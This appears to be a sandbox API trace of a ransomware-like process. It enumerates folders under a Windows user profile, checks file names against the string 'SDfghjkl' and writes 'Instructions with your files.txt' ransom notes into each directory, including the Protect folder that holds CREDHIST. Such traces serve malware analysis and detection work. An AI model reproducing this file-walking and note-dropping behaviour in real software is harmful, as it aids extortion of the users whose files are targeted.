[0132.275] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0132.275] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\.") returned 112
[0132.275] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\..") returned 113
[0132.275] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\Instructions with your files.txt") returned 143
[0132.275] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0132.276] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0132.277] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0132.277] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0132.277] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0132.277] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0132.277] CloseHandle (hObject=0x124) returned 1
[0132.277] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0132.277] GetProcessHeap () returned 0x810000
[0132.277] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89bc00 | out: hHeap=0x810000) returned 1
[0132.277] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 1
[0132.277] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned 97
[0132.277] GetProcessHeap () returned 0x810000
[0132.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89bc00
[0132.277] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*") returned 99
[0132.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0132.280] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\.") returned 99
[0132.280] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.280] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.280] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\..") returned 100
[0132.280] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.280] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.280] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 109
[0132.280] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.280] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1
[0132.280] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk") returned 119
[0132.280] StrStrIW (lpFirst="Internet Explorer.lnk", lpSrch="SDfghjkl") returned 0x0
[0132.280] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1
[0132.280] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk") returned 118
[0132.280] StrStrIW (lpFirst="Windows Explorer.lnk", lpSrch="SDfghjkl") returned 0x0
[0132.280] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1
[0132.280] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk") returned 122
[0132.280] StrStrIW (lpFirst="Windows Media Player.lnk", lpSrch="SDfghjkl") returned 0x0
[0132.280] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0
[0132.280] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Instructions with your files.txt") returned 130
[0132.280] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0132.281] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0132.282] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0132.282] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0132.282] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0132.282] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0132.282] CloseHandle (hObject=0x124) returned 1
[0132.282] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0132.282] GetProcessHeap () returned 0x810000
[0132.282] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89bc00 | out: hHeap=0x810000) returned 1
[0132.282] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 0
[0132.283] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\Instructions with your files.txt") returned 122
[0132.283] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0132.285] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0132.286] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0132.286] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0132.286] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0132.286] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0132.286] CloseHandle (hObject=0x120) returned 1
[0132.286] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0132.286] GetProcessHeap () returned 0x810000
[0132.286] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0132.286] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de6f76b, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1
[0132.286] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 97
[0132.286] StrStrIW (lpFirst="Window Switcher.lnk", lpSrch="SDfghjkl") returned 0x0
[0132.286] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de6f76b, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0
[0132.286] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Instructions with your files.txt") returned 110
[0132.286] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.287] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.288] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.288] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.288] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.288] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.288] CloseHandle (hObject=0x11c) returned 1
[0132.288] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.288] GetProcessHeap () returned 0x810000
[0132.288] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.290] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 0
[0132.290] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Instructions with your files.txt") returned 97
[0132.290] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.290] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.291] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.291] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.291] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.291] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.291] CloseHandle (hObject=0x118) returned 1
[0132.292] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.292] GetProcessHeap () returned 0x810000
[0132.292] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.292] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1
[0132.292] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect") returned 54
[0132.292] GetProcessHeap () returned 0x810000
[0132.292] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.292] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\*") returned 56
[0132.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.292] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\.") returned 56
[0132.292] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.292] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.292] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\..") returned 57
[0132.292] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.292] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1
[0132.292] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 63
[0132.293] StrStrIW (lpFirst="CREDHIST", lpSrch="SDfghjkl") returned 0x0
